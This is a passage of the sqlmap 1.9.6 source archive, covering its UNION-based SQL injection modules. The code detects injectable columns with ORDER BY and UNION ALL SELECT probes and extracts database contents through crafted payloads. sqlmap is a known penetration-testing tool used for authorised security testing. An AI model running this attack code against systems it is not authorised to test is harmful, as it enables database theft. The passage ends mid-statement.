������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/union/������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0017075�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/union/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0021202�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/union/test.py�����������������������������������������������������������0000664�0000000�0000000�00000044347�15022617442�0020442�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import itertools import logging import random import re from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend from lib.core.common import getPublicTypeMembers from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import setTechnique from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.settings import FUZZ_UNION_MAX_COLUMNS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL from lib.core.settings import ORDER_BY_MAX from lib.core.settings import ORDER_BY_STEP from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_STDEV_COEFF from lib.core.unescaper import unescaper from lib.request.comparison import comparison from lib.request.connect import Connect as Request def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None @stackedmethod def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP if highCols > ORDER_BY_MAX: break else: while not found: mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found elif kb.futileUnion: return None if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): value = re.escape(kb.uChar.strip("'")) for regex in (value, r'>\s*%s\s*<' % value): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) if deviation is not None: lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", 'N', infoMsg)) return retVal def _fuzzUnionCols(place, parameter, prefix, suffix): retVal = None if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: comment = queries[Backend.getIdentifiedDbms()].comment.query choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) for candidate in itertools.product(choices, repeat=kb.orderByColumns): if retVal: break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): for column in candidate: if column.startswith("'") and column.strip("'") in (page or ""): retVal = [(_ if _ != column else "%s") for _ in candidate] break return retVal def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None positions = [_ for _ in xrange(0, count)] # Unbiased approach for searching appropriate usable column random.shuffle(positions) for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS): if vector: break # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target URL is # affected by an exploitable union SQL injection vulnerability for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warning(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() if unionErrorCase and count > 1: warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" logger.warning(warnMsg) else: break return validPayload, vector def _unionConfirm(comment, place, parameter, prefix, suffix, count): validPayload = None vector = None # Confirm the union SQL injection and get the exact column # position which can be used to extract data validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count) # Assure that the above function found the exploitable full union # SQL injection position if not validPayload: validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE) return validPayload, vector def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None orderBy = kb.orderByColumns uChars = (conf.uChar, kb.uChar) where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " msg += "UNION column types with fuzzy test? [y/N] " kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) if not conf.dbms: if not conf.uChar: warnMsg += "and/or try to force the " else: warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) conf.uChar, kb.uChar = uChars validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector @stackedmethod def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return negativeLogic = kb.negativeLogic setTechnique(PAYLOAD.TECHNIQUE.UNION) try: if negativeLogic: pushValue(kb.negativeLogic) pushValue(conf.string) pushValue(conf.code) kb.negativeLogic = False conf.string = conf.code = None validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) finally: if negativeLogic: conf.code = popValue() conf.string = popValue() kb.negativeLogic = popValue() if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/union/use.py������������������������������������������������������������0000664�0000000�0000000�00000056102�15022617442�0020247�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import json import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import flattenValue from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six from thirdparty.odict import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.jsonAggMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] # Note: introduced columns in 1.4.2.42#dev try: kb.tableFrom = vector[9] kb.unionTemplate = vector[10] except IndexError: pass query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: injExpression = unescaper.escape(expression) where = vector[6] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) if page and kb.chars.start.upper() in page and kb.chars.start not in page: singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them") page = page.lower() incrementCounter(PAYLOAD.TECHNIQUE.UNION) if kb.jsonAggMode: for _page in (page or "", (page or "").replace('\\"', '"')): if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output)) for row in json.loads(output): retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) except: retVal = None else: retVal = getUnicode(retVal) elif Backend.isDbms(DBMS.PGSQL): output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: retVal = output else: output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: try: retVal = "" for row in json.loads(output): # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] for match in re.finditer(r"base64:type\d+:([^ ]+)", row): row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: retVal = None else: retVal = getUnicode(retVal) if retVal: break else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) ) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.jsonAggMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warning(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" singleTimeDebugMessage(debugMsg) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) retVal = _oneShotUnionUse(expression, unpack, limited) elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) singleTimeDebugMessage(debugMsg) kb.nchar = False retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal def configUnion(char=None, columns=None): def _configUnionChar(char): if not isinstance(char, six.string_types): return kb.uChar = char if conf.uChar is not None: kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): if not isinstance(columns, six.string_types): return columns = columns.replace(' ', "") if '-' in columns: colsStart, colsStop = columns.split('-') else: colsStart, colsStop = columns, columns if not isDigit(colsStart) or not isDigit(colsStop): raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: errMsg = "--union-cols range has to represent lower to " errMsg += "higher number of columns" raise SqlmapSyntaxException(errMsg) _configUnionChar(char) _configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True if Backend.isDbms(DBMS.MYSQL): query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.ORACLE): query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.SQLITE): query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.MSSQL): query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) output = _oneShotUnionUse(query, False) value = parseUnionPage(output) kb.jsonAggMode = False # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) debugMsg = "used SQL query returns " debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.debug(debugMsg) elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warning(warnMsg) stopLimit = 1 elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warning(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info for " debugMsg += "large number of rows as it might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: threadData.shared.counter += 1 num = next(threadData.shared.limits) except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: with kb.locks.value: if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): items = parseUnionPage(output) if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len(expressionFieldsList) > 1: items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [_ for _ in flattenValue(items)] if len(items) > len(expressionFieldsList): filtered = OrderedDict() for item in items: key = re.sub(r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search(r"[^A-Za-z0-9]", item): filtered[key] = item items = list(six.itervalues(filtered)) items = [items] index = None for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] if not isNoneValue(_): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warning(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if 